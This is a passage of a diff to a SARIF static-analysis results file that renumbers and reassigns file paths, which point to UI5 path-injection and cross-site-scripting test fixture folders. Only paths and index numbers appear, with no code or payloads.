         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 162
+              "index" : 161
             }
           }
         } ],
@@ -7289,9 +7289,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 163
+              "index" : 162
             }
           }
         } ],
@@ -7315,9 +7315,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 164
+              "index" : 163
             }
           }
         } ],
@@ -7341,9 +7341,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 0
+              "index" : 164
             }
           }
         } ],
@@ -7367,7 +7367,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 165
             }
@@ -7393,7 +7393,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 166
             }
@@ -7419,7 +7419,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 167
             }
@@ -7445,7 +7445,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 168
             }
@@ -7471,7 +7471,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 169
             }
@@ -7497,7 +7497,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 170
             }
@@ -7523,7 +7523,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 171
             }
@@ -7549,7 +7549,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 172
             }
@@ -7575,7 +7575,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 173
             }
@@ -7601,7 +7601,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 174
             }
@@ -7627,7 +7627,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 175
             }
@@ -7653,7 +7653,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 176
             }
@@ -7679,7 +7679,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 177
             }
@@ -7705,7 +7705,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 178
             }
@@ -7731,7 +7731,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 179
             }
@@ -7757,7 +7757,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 180
             }
@@ -7783,7 +7783,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 181
             }
@@ -7809,7 +7809,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 182
             }
@@ -7835,7 +7835,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 183
             }
@@ -7861,7 +7861,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 184
             }
@@ -7887,7 +7887,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 185
             }
@@ -7913,7 +7913,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 186
             }
@@ -7939,7 +7939,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 187
             }
@@ -7965,7 +7965,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 188
             }
@@ -7991,7 +7991,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 189
             }
@@ -8017,7 +8017,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 190
             }
@@ -8043,7 +8043,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 191
             }
@@ -8069,7 +8069,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 192
             }
@@ -8095,7 +8095,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 193
             }
@@ -8121,7 +8121,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 194
             }
@@ -8147,7 +8147,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 195
             }
@@ -8173,7 +8173,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 196
             }
@@ -8199,7 +8199,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 197
             }
@@ -8225,7 +8225,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 198
             }
@@ -8251,7 +8251,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 199
             }
@@ -8277,7 +8277,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 200
             }
@@ -8303,7 +8303,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 201
             }
@@ -8329,7 +8329,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 202
             }
@@ -8355,7 +8355,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 203
             }
@@ -8381,7 +8381,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 204
             }
@@ -8407,7 +8407,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 205
             }
@@ -8433,7 +8433,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 206
             }
@@ -8459,7 +8459,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 207
             }
@@ -8485,7 +8485,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 208
             }
@@ -8511,7 +8511,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 209
             }
@@ -8537,7 +8537,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 210
             }
@@ -8563,7 +8563,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 211
             }
@@ -8589,7 +8589,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 212
             }
@@ -8615,7 +8615,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 213
             }
@@ -8641,7 +8641,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 214
             }
@@ -8667,7 +8667,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 215
             }
@@ -8693,7 +8693,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 216
             }
@@ -8719,7 +8719,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 217
             }
@@ -8745,7 +8745,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 218
             }
@@ -8771,7 +8771,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 219
             }
@@ -8797,7 +8797,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 220
             }
@@ -8823,7 +8823,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 221
             }
@@ -8849,7 +8849,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 222
             }
@@ -8875,7 +8875,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 223
             }
@@ -8901,7 +8901,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 224
             }
@@ -8927,7 +8927,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 225
             }
@@ -8953,7 +8953,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 226
             }
@@ -8979,7 +8979,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 227
             }
@@ -9005,7 +9005,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 228
             }
@@ -9031,7 +9031,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 229
             }
@@ -9057,7 +9057,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 230
             }
@@ -9083,7 +9083,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 231
             }
@@ -9109,7 +9109,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 232
             }
@@ -9135,7 +9135,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 233
             }
@@ -9161,7 +9161,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 234
             }
@@ -9187,7 +9187,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 235
             }
@@ -9213,7 +9213,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 236
             }
@@ -9239,7 +9239,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
